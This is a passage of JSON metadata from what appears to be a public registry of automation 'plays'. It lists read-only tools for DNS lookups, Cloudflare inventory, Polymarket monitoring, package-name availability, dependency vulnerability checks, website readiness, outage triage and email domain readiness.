CAA","values":["A","AAAA","CNAME","MX","TXT","NS","CAA"],"example":"A"},{"name":"expected","type":"string","required":false,"default":"","description":"Optional comma-separated expected values for a stricter configuration check","example":"93.184.215.14"},{"name":"resolvers","type":"string","required":false,"default":"cloudflare,google,quad9","description":"Comma-separated public resolvers; cloudflare, google, and quad9 are supported","example":"cloudflare,google,quad9"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:850d3cf8338b9a1c05b58f5434fb8e2779bef846d2dfb6e894855c2ec34fbbdd","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":4,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/modiqo/cloudflare-worker-details@0.1.2","reference":"modiqo/cloudflare-worker-details@0.1.2","uri":"https://play.modiqo.ai/modiqo/cloudflare-worker-details@0.1.2","manifest_uri":"https://play.modiqo.ai/modiqo/cloudflare-worker-details@0.1.2","name":"cloudflare-worker-details","title":"cloudflare-worker-details","description":"Lists Cloudflare Workers with settings, bindings, routes, and optional deployment history for an account or one script.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-web-operations","web-operations","job-worker-inventory","tool-cloudflare","effect-read-only"],"primary_domain":"domain-web-operations","author":"Code Bot","version":"0.1.2","published_at":"2026-08-17T23:57:19.619409+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":3830,"license":null,"stats":{"downloads":22,"installs":0},"steps":{"count":6,"names":["workers","settings_all","settings_one","auth_cloudflare","deployments_all","deployments_one"]},"parameters":[{"name":"account_id","type":"string","required":true,"description":"Cloudflare account ID"},{"name":"script_name","type":"string","required":false,"default":"all","description":"One Worker script name, or 'all' for every script"},{"name":"include_deployments","type":"boolean","required":false,"default":"true","description":"Whether to include deployment history"},{"name":"max_deployments","type":"integer","required":false,"default":"5","description":"Maximum deployments to return per Worker (0-50)"}],"execution":{"adapters":[{"id":"modiqo/cloudflare","name":"cloudflare","version":null,"credential_status":"required"},{"id":"cloudflare","name":"cloudflare","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:05042d76d67226a10ce0fd242810f7edb13221c3512b0b00cf987121de6c7f40","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":5,"shell":0,"browser":0,"auth":1,"other":0},"distinct_kinds":1,"depth":3,"width":3,"fan_out":6,"for_each_steps":2,"complexity":6,"apis":[{"adapter":"cloudflare","steps":6,"methods":["worker-deployments-list-deployments","worker-script-get-settings","worker-script-list-workers"],"display_name":"Cloudflare API","host":"api.cloudflare.com/client/v4","kind":"rest","tools":3286,"fingerprint":"mcp_q943aSEJmuSvaBQsGXYFENKULE5","source":"modiqo/cloudflare","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":3286},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/modiqo/cloudflare-list-resources@2.0.2","reference":"modiqo/cloudflare-list-resources@2.0.2","uri":"https://play.modiqo.ai/modiqo/cloudflare-list-resources@2.0.2","manifest_uri":"https://play.modiqo.ai/modiqo/cloudflare-list-resources@2.0.2","name":"cloudflare-list-resources","title":"cloudflare-list-resources","description":"Lists Cloudflare registered domains, Workers scripts, and Pages projects for a supplied or automatically discovered account.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-web-operations","web-operations","job-cloud-inventory","tool-cloudflare","effect-read-only"],"primary_domain":"domain-web-operations","author":"Code Bot","version":"2.0.2","published_at":"2026-08-17T23:57:17.874747+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":3475,"license":null,"stats":{"downloads":22,"installs":0},"steps":{"count":8,"names":["accounts","pages_auto","domains_auto","workers_auto","pages_explicit","auth_cloudflare","domains_explicit","workers_explicit"]},"parameters":[{"name":"account_id","type":"string","required":false,"default":"auto","description":"Cloudflare account ID, or 'auto' to use the first accessible account"},{"name":"include_domains","type":"boolean","required":false,"default":"true","description":"Whether to list registered domains"},{"name":"include_workers","type":"boolean","required":false,"default":"true","description":"Whether to list Workers scripts"},{"name":"include_pages","type":"boolean","required":false,"default":"true","description":"Whether to list Pages projects"}],"execution":{"adapters":[{"id":"modiqo/cloudflare","name":"cloudflare","version":null,"credential_status":"required"},{"id":"cloudflare","name":"cloudflare","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e94ca9e9ec5bc7476855ef1049c8b116a19c50933147adb7df3eca4d5a694ef3","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":7,"shell":0,"browser":0,"auth":1,"other":0},"distinct_kinds":1,"depth":3,"width":4,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[{"adapter":"cloudflare","steps":8,"methods":["accounts-list-accounts","pages-project-get-projects","registrar-domains-list-domains","worker-script-list-workers"],"display_name":"Cloudflare API","host":"api.cloudflare.com/client/v4","kind":"rest","tools":3286,"fingerprint":"mcp_q943aSEJmuSvaBQsGXYFENKULE5","source":"modiqo/cloudflare","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":3286},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/modiqo/whale-flow-monitor@0.1.1","reference":"modiqo/whale-flow-monitor@0.1.1","uri":"https://play.modiqo.ai/modiqo/whale-flow-monitor@0.1.1","manifest_uri":"https://play.modiqo.ai/modiqo/whale-flow-monitor@0.1.1","name":"whale-flow-monitor","title":"whale-flow-monitor","description":"Monitor whale accumulation on Polymarket. Combines the public Gamma API (market metadata, pricing) with the public Data API (holders, leaderboard) to identify markets where top-performing traders are building positions, flagging whale clustering and smart-money flow signals. Migrated to the steps DAG form: market discovery and the trader leaderboard fetch run in parallel as independent roots, per-market holder fetches fan out from discovery, and the correlation join cross-references holders against the leaderboard — each source degrades to a labeled unknown instead of failing the play.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-startup","job-market-monitoring","tool-polymarket","effect-read-only"],"primary_domain":"domain-startup","author":"Code Bot","version":"0.1.1","published_at":"2026-08-17T23:58:34.072693+00:00","visibility":"public","quality_score":0.650000035762787,"size_bytes":7344,"license":null,"stats":{"downloads":20,"installs":0},"steps":{"count":4,"names":["fetch_holders","fetch_markets","correlate_signals","fetch_leaderboard"]},"parameters":[{"name":"tag","type":"string","required":false,"default":"","description":"Filter markets by tag slug (e.g., crypto, politics, sports). Empty = all active markets.","example":"crypto"},{"name":"top","type":"integer","required":false,"default":"10","description":"Number of top markets to scan (by 24h volume), from 1 through 50","example":"10"},{"name":"whale_threshold","type":"integer","required":false,"default":"50000","description":"Minimum estimated position size (USD) to qualify as a whale","example":"50000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e8a75f3162ceff8c2556f2890c6d78c890493f5edf11cbf2e59059085429dccb","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4},{"name":"data-api.polymarket.com","kind":"host","source":"inferred","count":2},{"name":"gamma-api.polymarket.com","kind":"host","source":"inferred","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/modiqo/hacker-news-browser-top-stories@0.0.2","reference":"modiqo/hacker-news-browser-top-stories@0.0.2","uri":"https://play.modiqo.ai/modiqo/hacker-news-browser-top-stories@0.0.2","manifest_uri":"https://play.modiqo.ai/modiqo/hacker-news-browser-top-stories@0.0.2","name":"hacker-news-browser-top-stories","title":"hacker-news-browser-top-stories","description":"Browse the public Hacker News front page in an isolated headless browser and return the top story links.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-engineering","engineering-workflows","job-industry-monitoring","tool-browser","effect-read-only"],"primary_domain":"domain-engineering","author":"Debasish Ghosh","version":"0.0.2","published_at":"2026-08-17T23:57:45.080718+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":2590,"license":null,"stats":{"downloads":16,"installs":0},"steps":{"count":3,"names":["browser_wait","browser_extract","browser_navigate"]},"parameters":[{"name":"limit","type":"integer","required":false,"default":"5","description":"Maximum number of top stories to return"}],"execution":{"adapters":[],"browser":true,"browser_sign_in":false,"local_tools":["browser"],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:97bd2e677a6ce2e7d9d7ab5a9de01a74774e1f63dfd8b44d74958e437ec03c56","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":0,"browser":3,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"browser","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":{"api_tokens":18135,"context_tokens":3399,"exploration_ms":4564,"saved_per_run":21534},"model":null,"sessions":false},"landscape":{"cluster":2,"label":"open-meteo · browser"}},{"id":"https://play.modiqo.ai/modiqo/registry-play-inventory@0.2.1","reference":"modiqo/registry-play-inventory@0.2.1","uri":"https://play.modiqo.ai/modiqo/registry-play-inventory@0.2.1","manifest_uri":"https://play.modiqo.ai/modiqo/registry-play-inventory@0.2.1","name":"registry-play-inventory","title":"registry-play-inventory","description":"Lists every public Play owned by organizations visible to the current authenticated Rote profile, ranked by current-version lifetime downloads and grouped by organization.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-agent-operations","agent-operations","job-play-discovery","tool-registry","effect-read-only"],"primary_domain":"domain-agent-operations","author":"Chetan","version":"0.2.1","published_at":"2026-08-17T23:58:12.043224+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":3989,"license":null,"stats":{"downloads":15,"installs":0},"steps":{"count":2,"names":["inventory","observed_at"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c215aa4f452a1843f0189ece9e633e4f5f5929267d05f002dc4993d9806e02bd","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"date","kind":"tool","source":"declared","count":1},{"name":"jq","kind":"tool","source":"inferred","count":1},{"name":"rote","kind":"tool","source":"inferred","count":1},{"name":"sh","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/modiqo/package-name-search@1.1.2","reference":"modiqo/package-name-search@1.1.2","uri":"https://play.modiqo.ai/modiqo/package-name-search@1.1.2","manifest_uri":"https://play.modiqo.ai/modiqo/package-name-search@1.1.2","name":"package-name-search","title":"package-name-search","description":"Checks candidate package names across npm, PyPI, and crates.io in parallel, then ranks names by likely availability without claiming publish guarantees. Each registry is its own DAG step, so probes run concurrently, an unreachable registry degrades to labeled indeterminate rows instead of failing the play, and the ranking join shows exactly which registry said what.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-engineering","engineering-workflows","job-package-naming","tool-package-registries","effect-read-only"],"primary_domain":"domain-engineering","author":"chetan","version":"1.1.2","published_at":"2026-08-17T23:58:03.368794+00:00","visibility":"public","quality_score":0.750000059604645,"size_bytes":6556,"license":null,"stats":{"downloads":15,"installs":0},"steps":{"count":5,"names":["check_npm","check_pypi","rank_names","check_cargo","validate_input"]},"parameters":[{"name":"names","type":"string","required":false,"default":"rote-example,rote-example-cli","description":"Comma-separated candidate package names","example":"my-tool,my-tool-cli"},{"name":"ecosystems","type":"string","required":false,"default":"npm,pypi,cargo","description":"Comma-separated registries; npm, pypi, and cargo are supported","example":"npm,cargo"},{"name":"max_candidates","type":"integer","required":false,"default":"20","description":"Maximum candidate names to check, from 1 through 50","example":"20"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c2ba24d2f701df5258f020a2274e8c4bc47bea105c4b3d095e5816104eda7e71","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":3,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5},{"name":"crates.io","kind":"host","source":"inferred","count":2},{"name":"pypi.org","kind":"host","source":"inferred","count":2},{"name":"registry.npmjs.org","kind":"host","source":"inferred","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/modiqo/process-only-play-run-verification@0.0.2","reference":"modiqo/process-only-play-run-verification@0.0.2","uri":"https://play.modiqo.ai/modiqo/process-only-play-run-verification@0.0.2","manifest_uri":"https://play.modiqo.ai/modiqo/process-only-play-run-verification@0.0.2","name":"process-only-play-run-verification","title":"process-only-play-run-verification","description":"Runs a portable local printf process and returns its captured stdout, proving process-only registry plays execute through rote play run.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-agent-operations","job-play-verification","tool-shell","effect-read-only"],"primary_domain":"domain-agent-operations","author":"modiqo","version":"0.0.2","published_at":"2026-08-17T23:58:06.907971+00:00","visibility":"public","quality_score":0.450000047683716,"size_bytes":1435,"license":null,"stats":{"downloads":14,"installs":0},"steps":{"count":1,"names":["printf"]},"parameters":[{"name":"message","type":"string","required":false,"default":"hello from rote proc","description":"Message printed by the process step"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7e7e7f279554c0cabb2743da759245e334302b7bd041dcd827ffcee0eb43c0b9","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"printf","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/modiqo/dependency-vulnerability-check@1.1.2","reference":"modiqo/dependency-vulnerability-check@1.1.2","uri":"https://play.modiqo.ai/modiqo/dependency-vulnerability-check@1.1.2","manifest_uri":"https://play.modiqo.ai/modiqo/dependency-vulnerability-check@1.1.2","name":"dependency-vulnerability-check","title":"dependency-vulnerability-check","description":"Recursively discovers common dependency lockfiles, checks pinned package versions against OSV per ecosystem, and returns deterministic findings with fix versions and novice-friendly guidance. Discovery, the six per-ecosystem OSV queries, detail enrichment, and the report join are separate DAG steps, so ecosystem queries run in parallel, empty ecosystems skip with a label, failed detail lookups degrade to labeled minimal findings, and an interrupted run resumes at the failed stage without re-parsing lockfiles.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-engineering","engineering-workflows","job-dependency-audit","tool-osv","effect-read-only"],"primary_domain":"domain-engineering","author":"chetan","version":"1.1.2","published_at":"2026-08-17T23:57:27.313436+00:00","visibility":"public","quality_score":0.750000059604645,"size_bytes":17140,"license":null,"stats":{"downloads":14,"installs":0},"steps":{"count":10,"names":["query_osv_go","fetch_details","query_osv_npm","compose_report","query_osv_pypi","validate_input","query_osv_cargo","discover_lockfiles","query_osv_rubygems","query_osv_packagist"]},"parameters":[{"name":"root","type":"string","required":false,"default":".","description":"Project directory or supported lockfile to scan","example":"."},{"name":"ecosystems","type":"string","required":false,"default":"auto","description":"Comma-separated ecosystems to include, or auto; accepted values are npm,pypi,cargo,go,packagist,rubygems","example":"npm,pypi"},{"name":"max_packages","type":"integer","required":false,"default":"500","description":"Maximum unique pinned packages to query, from 1 through 2000","example":"500"},{"name":"include_dev","type":"boolean","required":false,"default":"true","description":"Include development dependencies when the lockfile identifies them","example":"true"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d9da04cff2af59f6a8eccd48fc2157466ab92b06abd5baf1f83a9956397c9169","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":0,"shell":10,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":6,"fan_out":0,"for_each_steps":0,"complexity":10,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":10},{"name":"api.osv.dev","kind":"host","source":"inferred","count":7},{"name":"fs","kind":"library","source":"inferred","count":1},{"name":"osv.dev","kind":"host","source":"inferred","count":1},{"name":"path","kind":"library","source":"inferred","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/modiqo/website-launch-readiness@1.1.2","reference":"modiqo/website-launch-readiness@1.1.2","uri":"https://play.modiqo.ai/modiqo/website-launch-readiness@1.1.2","manifest_uri":"https://play.modiqo.ai/modiqo/website-launch-readiness@1.1.2","name":"website-launch-readiness","title":"website-launch-readiness","description":"Checks a public website launch across DNS, HTTP, TLS, security headers, essential metadata, robots, sitemap, and optional local Lighthouse scores. Each probe family is its own DAG step in a four-layer graph, so DNS and the page fetch run in parallel, TLS/robots/sitemap/Lighthouse fan out from the fetched final origin, any single probe degrades to a labeled unknown instead of failing the play, and the readiness join shows exactly which probe said what.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-web-operations","web-operations","job-launch-readiness","tool-lighthouse","effect-read-only"],"primary_domain":"domain-web-operations","author":"chetan","version":"1.1.2","published_at":"2026-08-17T23:58:33.027652+00:00","visibility":"public","quality_score":0.750000059604645,"size_bytes":9244,"license":null,"stats":{"downloads":13,"installs":0},"steps":{"count":8,"names":["check_dns","check_tls","fetch_site","check_robots","check_sitemap","validate_input","assess_readiness","lighthouse_scores"]},"parameters":[{"name":"url","type":"string","required":false,"default":"https://example.com","description":"Public HTTP or HTTPS URL to check","example":"https://example.com"},{"name":"max_redirects","type":"integer","required":false,"default":"10","description":"Maximum redirects to follow, from 0 through 20","example":"10"},{"name":"run_lighthouse","type":"boolean","required":false,"default":"false","description":"Run Lighthouse when its local CLI and browser runtime are available","example":"false"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:87e99905cd848b5740505d9badf96ef9ac39fa88c3a066229f22a7101c39c9cf","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":4,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/modiqo/provider-outage-triage@1.1.2","reference":"modiqo/provider-outage-triage@1.1.2","uri":"https://play.modiqo.ai/modiqo/provider-outage-triage@1.1.2","manifest_uri":"https://play.modiqo.ai/modiqo/provider-outage-triage@1.1.2","name":"provider-outage-triage","title":"provider-outage-triage","description":"Correlates direct DNS, TLS, and HTTP checks with official provider status feeds to classify whether a failure is likely in the application, network, DNS, TLS, or an upstream provider. The direct checks form a dependency chain (TLS needs DNS, HTTP needs both) while the status feeds probe in parallel, every source degrades to a labeled unknown instead of failing the play, and the correlation join shows exactly which observation drove the classification.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-web-operations","web-operations","job-incident-triage","tool-status-pages","effect-read-only"],"primary_domain":"domain-web-operations","author":"chetan","version":"1.1.2","published_at":"2026-08-17T23:58:09.051586+00:00","visibility":"public","quality_score":0.750000059604645,"size_bytes":10726,"license":null,"stats":{"downloads":12,"installs":0},"steps":{"count":6,"names":["check_dns","check_tls","correlate","check_http","validate_input","check_providers"]},"parameters":[{"name":"target","type":"string","required":false,"default":"https://example.com","description":"Public HTTP or HTTPS application URL to test directly","example":"https://example.com"},{"name":"providers","type":"string","required":false,"default":"github,cloudflare,openai","description":"Comma-separated official status feeds; accepted values are github,cloudflare,openai,anthropic,vercel,supabase","example":"github,cloudflare"},{"name":"timeout_ms","type":"integer","required":false,"default":"10000","description":"Per-check timeout in milliseconds, from 1000 through 30000","example":"10000"},{"name":"custom_summary_urls","type":"string","required":false,"default":"","description":"Optional comma-separated HTTPS Statuspage-compatible summary.json URLs","example":"https://status.example.com/api/v2/summary.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8e5a82303406eab5e969b77c0af3665b3d1bdc51f215633ac0c362872eb62455","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":2,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":6},{"name":"perf_hooks","kind":"library","source":"inferred","count":3},{"name":"dns","kind":"library","source":"inferred","count":1},{"name":"example.com","kind":"host","source":"inferred","count":1},{"name":"status.anthropic.com","kind":"host","source":"inferred","count":1},{"name":"status.openai.com","kind":"host","source":"inferred","count":1},{"name":"status.supabase.com","kind":"host","source":"inferred","count":1},{"name":"tls","kind":"library","source":"inferred","count":1},{"name":"www.cloudflarestatus.com","kind":"host","source":"inferred","count":1},{"name":"www.githubstatus.com","kind":"host","source":"inferred","count":1},{"name":"www.vercel-status.com","kind":"host","source":"inferred","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/modiqo/weather-updates-for-cities@0.0.1","reference":"modiqo/weather-updates-for-cities@0.0.1","uri":"https://play.modiqo.ai/modiqo/weather-updates-for-cities@0.0.1","manifest_uri":"https://play.modiqo.ai/modiqo/weather-updates-for-cities@0.0.1","name":"weather-updates-for-cities","title":"weather-updates-for-cities","description":"Reports current temperatures for a single editable station list, includes wind for the reference station, emits a threshold alert, verifies a live page headline, and captures Python toolchain provenance.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["weather","temperature","wind","browser","provenance","open-meteo","python","typescript"],"primary_domain":"domain-uncategorized","author":"Debasish Ghosh","version":"0.0.1","published_at":"2026-08-18T12:14:54.460456+00:00","visibility":"public","quality_score":1,"size_bytes":11328,"license":null,"stats":{"downloads":11,"installs":0},"steps":{"count":8,"names":["station_list","threshold_alert","headline_headings","python_provenance","open_headline_page","reference_conditions","settle_headline_page","station_temperatures"]},"parameters":[{"name":"stations","type":"string","required":false,"default":"Berlin=52.52,13.41; London=51.5074,-0.1278; New York=40.7128,-74.0060; Tokyo=35.6762,139.6503","description":"The single editable station list: Name=lat,lon entries separated by semicolons. The first entry is the reference station."},{"name":"alert_threshold_c","type":"integer","required":false,"default":"25","description":"Emit a threshold alert when the reference station temperature reaches this many degrees Celsius"},{"name":"headline_url","type":"string","required":false,"default":"https://open-meteo.com/","description":"Live page whose top headline is verified"},{"name":"headline_expect","type":"string","required":false,"default":"Free Weather API","description":"Text the live page headline must contain (case-insensitive)"}],"execution":{"adapters":[{"id":"modiqo/open-meteo","name":"open-meteo","version":null,"credential_status":"none"},{"id":"open-meteo","name":"open-meteo","version":null,"credential_status":"none"}],"browser":true,"browser_sign_in":false,"local_tools":["browser"],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:affa2019c25e6d24b4840e405977ac3f1d3b6995ea5e2fe7cfd99bcba398b95e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":2,"shell":3,"browser":3,"auth":0,"other":0},"distinct_kinds":3,"depth":3,"width":3,"fan_out":4,"for_each_steps":1,"complexity":24,"apis":[{"adapter":"open-meteo","steps":2,"methods":["get_v1_forecast"],"display_name":"open-meteo","host":"api.open-meteo.com","kind":"rest","tools":1,"fingerprint":"mcp_2YgsU84PjXRHyP7ALsx5a5QE2FBy","source":"modiqo/open-meteo","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"browser","kind":"tool","source":"declared","count":3},{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":1},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":2,"label":"open-meteo · browser"}},{"id":"https://play.modiqo.ai/modiqo/email-domain-readiness@1.1.1","reference":"modiqo/email-domain-readiness@1.1.1","uri":"https://play.modiqo.ai/modiqo/email-domain-readiness@1.1.1","manifest_uri":"https://play.modiqo.ai/modiqo/email-domain-readiness@1.1.1","name":"email-domain-readiness","title":"email-domain-readiness","description":"Checks an email domain for MX, SPF, DMARC, optional DKIM, MTA-STS, TLS-RPT, CAA, and DNSSEC readiness without claiming inbox placement. Every record family is its own DAG step, so the eight probes run in parallel, any single lookup degrades to a labeled indeterminate instead of failing the play, and the readiness join shows exactly which record said what.","owner":{"kind":"org","slug":"modiqo"},"registry_organization":"modiqo","tags":["domain-web-operations","web-operations","job-email-readiness","tool-dns","effect-read-only"],"primary_domain":"domain-web-operations","author":"chetan","version":"1.1.1","published_at":"2026-08-17T23:57:32.715896+00:00","visibility":"public","quality_score":0.750000059604645,"size_bytes":7216,"license":null,"stats":{"downloads":10,"installs":0},"steps":{"count":10,"names":["check_mx","check_caa","check_spf","check_dkim","check_dmarc","check_dnssec","check_mta_sts","check_tls_rpt","validate_input","assess_readiness"]},"parameters":[{"name":"domain","type":"string","required":false,"default":"example.com","description":"Email domain to inspect, such as example.com","example":"example.com"},{"name":"dkim_selector","type":"string","required":false,"default":"","description":"Optional DKIM selector supplied by the mail 